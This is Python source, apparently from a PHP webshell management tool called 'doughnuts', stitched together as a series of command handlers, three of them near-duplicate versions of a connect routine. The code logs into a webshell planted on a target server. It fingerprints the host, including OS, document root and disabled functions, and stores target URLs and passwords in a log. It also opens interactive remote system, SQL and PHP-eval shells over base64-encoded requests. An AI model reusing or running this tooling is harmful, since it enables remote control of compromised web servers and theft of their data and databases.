def run(): """ back Back to main menu. """ clean_trace() set_namespace("main")
def run(order: str = ""): """ help Output the help document for the command or all help menu. eg: help {order} """ if (order == ""): set_namespace(gget("namespace"), True, False) return tpf = None gpf = gget(f"general.pf") npf = gget(f"{gget('namespace')}.pf") cpf = gget(f"custom.pf") order = order_alias(order) if (order in npf): tpf = npf elif (order in gpf): tpf = gpf elif (order in cpf): tpf = cpf elif order: print("%s object is not command-function" % order) return api = gget("api") func = getattr(tpf[order], api) if (func.__doc__): print(func.__doc__) block = " " * 4 block_two = block * 2 sig = inspect.signature(func) folders_namespace = gget("folders_namespace") func_folder, func_name = func.__module__.split(".") func_reverse_alias = gget("%s.reverse_alias" % func_name, folders_namespace[func_folder]) if (len(sig.parameters)): print("%sCommand Args:" % block) for k, v in sig.parameters.items(): arg = "--%s" % k if k in func_reverse_alias: arg = "-%s,%s" % (func_reverse_alias[k], arg) desc = str(v).split(":") if len(desc) > 1: # 存在参数类型 desc = desc[1].split("=") if len(desc) > 1: # 存在默认值 desc = "[%s] %s (Default: %s)" % ( desc[0].strip(), k, desc[1].strip(), ) else: desc = "[%s] %s" % (desc[0].strip(), k) arg = "%s(*)" % arg else: desc = "[?] %s" % desc[0] arg = "%s(?)" % arg print("%s%-25s%s%s\n" % (block_two, arg, block_two, desc))
def run(*commands): """ shell Get a temporary shell of target system by system function or just run a shell command. """ command = str(value_translation(gget("raw_command_args"))) if (command): res = send(get_system_code(command)) if (not res): return print(color.green("\nResult:\n\n") + res.r_text.strip() + "\n") return print( color.cyan( "Eenter interactive temporary shell...\n\nUse 'back' command to return doughnuts.\n" )) res = send( f'{get_system_code("whoami")}print("@".$_SERVER["SERVER_NAME"]."|".getcwd());' ).r_text.strip() prompt, pwd = res.split("|") set_namespace("webshell", False, True) wordlist = gget("webshell.wordlist") readline.set_wordlist(NEW_WINDOWS_WORDLIST if ( is_windows()) else NEW_UNIX_WORDLIST) if is_windows(): prompt = "%s> " else: prompt = prompt.replace("\r", "").replace("\n", "") + ":%s$ " try: while gget("loop"): print(prompt % pwd, end="") command = str(value_translation(readline())) lower_command = command.lower() if (lower_command.lower() in ['exit', 'quit', 'back']): print() break if (command == ''): print() continue b64_pwd = base64_encode(pwd) if (lower_command.startswith("cd ") and len(lower_command) > 3): path = base64_encode(lower_command[3:].strip()) res = send( f'chdir(base64_decode(\'{b64_pwd}\'));chdir(base64_decode(\'{path}\'));print(getcwd());' ) if (not res): return pwd = res.r_text.strip() else: res = send(f'chdir(base64_decode(\'{b64_pwd}\'));' + get_system_code(command)) if (not res): return print("\n" + res.r_text.strip() + "\n") finally: readline.set_wordlist(wordlist)
def run(): """ db_shell Get a temporary sql shell of target system. """ if (not gget("db_connected", "webshell")): print(color.red("Please run db_init command first")) return print( color.cyan( "Eenter interactive temporary sql shell...\n\nUse 'back' command to return doughnuts.\n" )) database = gget("db_dbname", "webshell") prompt = "mysql (%s) > " set_namespace("webshell", False, True) wordlist = gget("webshell.wordlist") readline.set_wordlist(NEW_SQL_WORDLIST) try: while gget("loop"): print(prompt % color.cyan(database), end="") command = readline() lower_command = command.lower() if (lower_command.lower() in ['exit', 'quit', 'back']): print() break if (command == ''): print() continue if (lower_command.startswith("use ") and len(lower_command) > 4): try: temp_database = match("use ([^;]*);?", lower_command).group(1) res = send(check_database(temp_database)) if ("Connect error" in res.r_text): print("\n" + color.red(res.r_text.strip()) + "\n") else: database = temp_database print("\n" + color.green( f"Change current database: {database}") + "\n") except (IndexError, AttributeError): print("\n" + color.red("SQL syntax error") + "\n") else: form = execute_sql_command(command, database) if (form == ''): print("\n" + color.red("Connection Error / SQL syntax error") + "\n") else: print(execute_sql_command(command, database)) finally: gset("db_dbname", database, True, "webshell") readline.set_wordlist(wordlist)
def run(*commands): """ webshell Get a webshell of target system or just run a webshell command. """ command = gget("raw_command_args") if (command): res = send((command)) if (not res): return print(color.green("\nResult:\n\n") + res.r_text.strip() + "\n") return print( color.cyan( "Eenter interactive temporary webshell...\n\nUse 'back' command to return doughnuts.\n" )) pwd = send(f'print(getcwd());').r_text.strip() set_namespace("webshell", False, True) wordlist = gget("webshell.wordlist") readline.set_wordlist(NEW_WORDLIST) try: while gget("loop"): print(f"webshell:{pwd} >> ", end="") data = readline(b"(") lower_data = data.lower() if (lower_data.lower() in ['exit', 'quit', 'back']): print() break if (data == ''): print() continue data = base64_encode(data) b64_pwd = base64_encode(pwd) if (lower_data.startswith("cd ") and len(lower_data) > 3): path = base64_encode(lower_data[3:].strip()) res = send( f'chdir(base64_decode(\'{b64_pwd}\'));chdir(base64_decode(\'{path}\'));print(getcwd());' ) if (not res): return pwd = res.r_text.strip() else: res = send( f'eval("chdir(base64_decode(\'{b64_pwd}\'));eval(base64_decode(\'{data}\'));");' ) if (not res): return print("\n" + res.r_text.strip() + "\n") finally: readline.set_wordlist(wordlist)
def run_loop(loop_init_object: Loop_init, leave_message: str = "Bye!"): """ run_loop Args: loop_init_object (Loop_init): Loop Init class leave_message (str, optional): The message when you leave. Defaults to 'Bye!'. """ from threading import Thread from time import sleep set_namespace("main", callback=False if gget("preload_command") else True) gset("leave_message", leave_message) t = Thread(target=loop_main) t.setDaemon(True) t.start() while gget("loop"): try: sleep(10) except KeyboardInterrupt: continue except EOFError: break sys_exit()
def run(url: str, method: str = "GET", pwd: str = "pass", *encode_functions): """ connect Connect a webshell of php. eg: connect {url} {method} {pass} {encoders...} """ method = str(method).upper() params_dict = {} if method == "GET": raw_key = "params" elif method == "POST": raw_key = "data" elif method == "COOKIE": raw_key = "cookies" elif method == "HEADER": raw_key = "headers" else: print(color.red("Method error")) return encode_functions = [str(f) for f in encode_functions] params_dict[raw_key] = {} webshell_netloc = urlparse(url).netloc gset("url", url, namespace="webshell") gset("webshell.params_dict", params_dict, namespace="webshell") gset("webshell.password", str(pwd), namespace="webshell") gset("webshell.method", raw_key, namespace="webshell") gset("webshell.encode_functions", encode_functions, namespace="webshell") gset("webshell.netloc", webshell_netloc, namespace="webshell") gset( "webshell.download_path", path.join(gget("root_path"), "target", webshell_netloc.replace(":", "_")), namespace="webshell", ) gset("webshell.pwd", ".", namespace="webshell") gset("webshell.bypass_df", -1, namespace="webshell") res = send('print("c4ca4238a0b923820d|".phpversion()."|cc509a6f75849b");', raw=True) if (not res or "c4ca4238a0b923820d" not in res.r_text): print(color.red("Connect failed...")) if (res): print(res.r_text) return False if ('7.' in res.r_text): gset("webshell.v7", True, namespace="webshell") if "c4ca4238a0b923820d" in res.r_text: # 验证是否成功连接 gset("webshell.php_version", res.r_text.split("c4ca4238a0b923820d|")[1].split("|cc509a6f75849b")[0], namespace="webshell") info_req = send( "print($_SERVER['DOCUMENT_ROOT'].'|'.php_uname().'|'.$_SERVER['SERVER_SOFTWARE'].'|'.getcwd().'|'.ini_get('upload_tmp_dir').'|'.ini_get('disable_functions').'|'.ini_get('open_basedir'));" ) info = info_req.r_text.strip().split("|") exec_func = send(get_detectd_exec_php()).r_text.strip() prepare_system_template(exec_func) gset("webshell.root", info[0], namespace="webshell") gset("webshell.os_version", info[1], namespace="webshell") gset( "webshell.iswin", (True if "win" in info[1].lower() else False), namespace="webshell", ) gset("webshell.server_version", info[2], namespace="webshell") gset("webshell.pwd", info[3], namespace="webshell") gset("webshell.prompt", f"doughnuts ({color.cyan(webshell_netloc)}) > ") gset("webshell.exec_func", exec_func, namespace="webshell") upload_tmp_dir = info[4] if (not upload_tmp_dir): if (not is_windows()): upload_tmp_dir = "/tmp/" else: if (is_windows()): upload_tmp_dir += "\\\\" else: upload_tmp_dir += "/" gset("webshell.upload_tmp_dir", upload_tmp_dir, namespace="webshell") disable_function_list = [f.strip() for f in info[5].split(",")] if ('' in disable_function_list): disable_function_list.remove('') gset("webshell.obd", info[6], namespace="webshell") gset("webshell.disable_functions", disable_function_list, namespace="webshell") from_log = gget("webshell.from_log", "webshell") if not from_log: with open("webshell.log", "a+") as f: f.write(f"{url}|{method}|{pwd}|{'|'.join(encode_functions)}\n") else: gset("webshell.from_log", False, True, "webshell") print(color.cyan("Connect success...\n")) print_webshell_info() set_namespace("webshell", callback=False) if (exec_func == ''): print(color.red("No system execute function!\n")) return True
def run(url: str, method: str = "GET", pwd: str = "pass", *encoders_or_params): """ connect Connect a webshell of php. eg: connect {url} {method} {pass} {encoders_or_params...} """ method = str(method).upper() params_dict = {"headers": {}} if method == "GET": raw_key = "params" elif method == "POST": raw_key = "data" elif method == "COOKIE": raw_key = "cookies" elif method == "HEADER": raw_key = "headers" else: print(color.red("Method error")) return if (is_windows(False)): new_eop = [] extra_params = [] pass_next = False eop_len = len(encoders_or_params) for i in range(eop_len): # 清洗数据,解决windows下a=b传成2个参数的错误 v = str(encoders_or_params[i]) if (pass_next): pass_next = False continue if (":" not in v): new_eop.append(str(v)) continue if ("=" not in v and i < eop_len - 1): extra_params.append(v + "=" + str(encoders_or_params[i + 1])) pass_next = True else: extra_params.append(str(v)) encoders_or_params = new_eop + extra_params extra_params = [f for f in encoders_or_params if ":" in str(f)] params_dict[raw_key] = {} for each in extra_params: k, data = each.split(":") if (k not in params_dict): params_dict[k] = {} params_dict[k].update( dict([(k, v[0]) for k, v in parse_qs(data).items()])) webshell_netloc = urlparse(url).netloc gset("webshell.url", url, namespace="webshell") gset("webshell.params_dict", params_dict, namespace="webshell") gset("webshell.password", str(pwd), namespace="webshell") gset("webshell.method", raw_key, namespace="webshell") gset("webshell.encode_functions", encoders_or_params, namespace="webshell") gset("webshell.netloc", webshell_netloc, namespace="webshell") gset( "webshell.download_path", path.join(gget("root_path"), "target", webshell_netloc.replace(":", "_")), namespace="webshell", ) gset("webshell.pwd", ".", namespace="webshell") gset("webshell.bypass_df", -1, namespace="webshell") res = send('print("c4ca4238a0b923820d|".phpversion()."|cc509a6f75849b");', raw=True) if (not res or "c4ca4238a0b923820d" not in res.r_text): print(color.red("Connect failed...")) if (res): print(res.r_text) return False if ('7.' in res.r_text): gset("webshell.v7", True, namespace="webshell") if "c4ca4238a0b923820d" in res.r_text: # 验证是否成功连接 gset("webshell.php_version", res.r_text.split("c4ca4238a0b923820d|")[1].split( "|cc509a6f75849b")[0], namespace="webshell") info_req = send( """print($_SERVER['DOCUMENT_ROOT'].'|'.php_uname().'|'.$_SERVER['SERVER_SOFTWARE'].'|'.getcwd().'|'.ini_get('upload_tmp_dir').'|'.ini_get('disable_functions').'|'.ini_get('open_basedir'));""" ) info = info_req.r_text.strip().split("|") exec_func = send(get_detectd_exec_php()).r_text.strip() prepare_system_template(exec_func) gset("webshell.root", info[0], namespace="webshell") gset("webshell.os_version", info[1], namespace="webshell") gset( "webshell.iswin", (True if "win" in info[1].lower() else False), namespace="webshell", ) gset("webshell.server_version", info[2], namespace="webshell") gset("webshell.pwd", info[3], namespace="webshell") gset("webshell.prompt", f"doughnuts ({color.cyan(webshell_netloc)}) > ") gset("webshell.exec_func", exec_func, namespace="webshell") upload_tmp_dir = info[4] if (not upload_tmp_dir): if (not is_windows()): upload_tmp_dir = "/tmp/" else: if (is_windows()): upload_tmp_dir += "\\\\" else: upload_tmp_dir += "/" gset("webshell.upload_tmp_dir", upload_tmp_dir, namespace="webshell") disable_function_list = [f.strip() for f in info[5].split(",")] if ('' in disable_function_list): disable_function_list.remove('') gset("webshell.obd", info[6], namespace="webshell") gset("webshell.disable_functions", disable_function_list, namespace="webshell") root_path = gget("root_path") from_log = gget("webshell.from_log", "webshell") if not from_log: extra = "|".join( encoders_or_params) + "|" if encoders_or_params else "" with open(path.join(root_path, "webshell.log"), "a+") as f: f.write(f"{url}|{method}|{pwd}|{extra}\n") else: gset("webshell.from_log", False, True, "webshell") print(color.cyan("Connect success...\n")) print_webshell_info() set_namespace("webshell", callback=False) if (exec_func == ''): print(color.red("No system execute function!\n")) return True
def run(url: str, method: str = "GET", pwd: str = "pass", *encoders_or_params): """ connect Connect a webshell of php. eg: connect {url} {method} {pass} {encoders_or_params...} """ method = str(method).upper() params_dict = {"headers": {}} if method == "GET": raw_key = "params" elif method == "POST": raw_key = "data" elif method == "COOKIE": raw_key = "cookies" elif method == "HEADER": raw_key = "headers" else: print(color.red("Method error")) return if (is_windows(False)): new_eop = [] extra_params = [] pass_next = False eop_len = len(encoders_or_params) for i in range(eop_len): # 清洗数据,解决windows下a=b传成2个参数的错误 v = str(encoders_or_params[i]) if (pass_next): pass_next = False continue if (":" not in v): new_eop.append(str(v)) elif (i < eop_len - 1): extra_params.append(v + "=" + str(encoders_or_params[i+1])) pass_next = True encoders_or_params = new_eop extra_params = [f for f in encoders_or_params if "=" in str(f)] params_dict[raw_key] = {} for each in extra_params: if(":" in each): k, data = each.split(":") if (k not in params_dict): params_dict[k] = {} params_dict[k].update(dict([(k, value_translation(v[0])) for k, v in parse_qs(data).items()])) else: k, data = each.split("=") if (k not in params_dict): params_dict[k] = {} if (k == "auth"): params_dict[k] = value_translation(data) webshell_netloc = urlparse(url).netloc gset("webshell.url", url, namespace="webshell") gset("webshell.params_dict", params_dict, namespace="webshell") gset("webshell.password", str(pwd), namespace="webshell") gset("webshell.method", raw_key, namespace="webshell") gset("webshell.encode_functions", encoders_or_params, namespace="webshell") gset("webshell.netloc", webshell_netloc, namespace="webshell") gset( "webshell.download_path", path.join(gget("root_path"), "target", webshell_netloc.replace(":", "_")), namespace="webshell", ) gset("webshell.pwd", ".", namespace="webshell") gset("webshell.bypass_df", -1, namespace="webshell") version_flag_start = randstr( string=ascii_letters + digits, offset=randint(32, 62)) version_flag_end = randstr( string=ascii_letters + digits, offset=randint(32, 62)) res = send( 'print("' + version_flag_start + '|".phpversion()."|' + version_flag_end + '");', raw=True) if (not res or version_flag_start not in res.r_text): print(color.red("Connect failed...")) if (res): print(res.r_text) return False if ('7.' in res.r_text): gset("webshell.v7", True, namespace="webshell") if version_flag_start in res.r_text: # 验证是否成功连接 gset("webshell.php_version", res.r_text.split(version_flag_start + "|")[ 1].split("|" + version_flag_end)[0], namespace="webshell") info_req = send( """$bit=PHP_INT_SIZE==4?32:64; print($_SERVER['DOCUMENT_ROOT'].'|'.php_uname().'|'.$_SERVER['SERVER_SOFTWARE'].'|'.getcwd().'|'.sys_get_temp_dir().'|'.ini_get('disable_functions').'|'.ini_get('open_basedir').'|'.$bit.'|'.DIRECTORY_SEPARATOR);""" ) info = info_req.r_text.strip().split("|") exec_func = send(get_detectd_exec_php()).r_text.strip() prepare_system_template(exec_func) gset("webshell.root", info[0], namespace="webshell") gset( "webshell.iswin", (True if "win" in info[1].lower() else False), namespace="webshell", ) gset("webshell.server_version", info[2], namespace="webshell") gset("webshell.pwd", info[3], namespace="webshell") gset("webshell.prompt", f"doughnuts ({color.cyan(webshell_netloc)}) > ") gset("webshell.exec_func", exec_func, namespace="webshell") upload_tmp_dir = info[4] if (not upload_tmp_dir): if (not is_windows()): upload_tmp_dir = "/tmp/" else: if (is_windows()): upload_tmp_dir += "\\\\" else: upload_tmp_dir += "/" gset("webshell.upload_tmp_dir", upload_tmp_dir, namespace="webshell") disable_function_list = [f.strip() for f in info[5].split(",")] if ('' in disable_function_list): disable_function_list.remove('') gset("webshell.obd", info[6], namespace="webshell") bits = info[7] try: bits = int(bits) except ValueError: bits = 0 print(color.yellow("detect architecture error\n")) gset("webshell.os_version", info[1] + " (%d bits)" % bits, namespace="webshell") gset("webshell.arch", bits, namespace="webshell") gset("webshell.directory_separator", info[8], namespace="webshell") gset("webshell.disable_functions", disable_function_list, namespace="webshell") root_path = gget("root_path") from_log = gget("webshell.from_log", "webshell") if not from_log: extra = "|".join(encoders_or_params) + \ "|" if encoders_or_params else "" with open(path.join(root_path, "webshell.log"), "ab+") as f: text = f.read() if (text): f.seek(-1, SEEK_END) if f.read(1) != b"\n": f.write(b"\n") f.write(f"{url}|{method}|{pwd}|{extra}\n".encode()) else: gset("webshell.from_log", False, True, "webshell") print(color.cyan("Connect success...\n")) print_webshell_info() set_namespace("webshell", callback=False) update_prompt() if (exec_func == ''): print(color.red("No system execute function\n")) return True